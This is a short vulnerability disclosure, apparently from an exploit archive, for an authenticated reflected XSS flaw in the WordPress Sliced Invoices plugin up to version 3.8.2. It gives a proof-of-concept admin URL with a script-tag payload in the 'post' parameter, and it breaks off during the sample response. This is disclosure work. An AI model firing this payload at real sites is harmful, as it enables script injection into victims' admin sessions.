Wordpress Sliced Invoices <= 3.8.2 Authenticated Reflected XSS

# Exploit Title: Wordpress Sliced Invoices <= 3.8.2 Authenticated Reflected XSS Vulnerability
# Date: 22-10-2019
# Exploit Author: Lucian Ioan Nitescu
# Contact: https://twitter.com/LucianNitescu
# Webiste: https://nitesculucian.github.io
# Vendor Homepage: https://slicedinvoices.com/
# Software Link: https://wordpress.org/plugins/sliced-invoices/
# Version: 3.8.2
# Tested on: Ubuntu 18.04 / Wordpress 5.3
 
1. Description:  
 
Wordpress Sliced Invoices plugin with a version lower then 3.8.2 is affected by an authenticated Reflected Cross-site scripting (XSS) vulnerability.

2. Proof of Concept: 
 
Reflected Cross-site scripting (XSS)
- Using an Wordpress user, access < your_target > /wp-admin/admin.php?action=duplicate_quote_invoice&post=%3Cscript%3Ealert(1)%3C%2fscript%3E
- The response will contain:
```
<body id="error-page">
	<p>Cre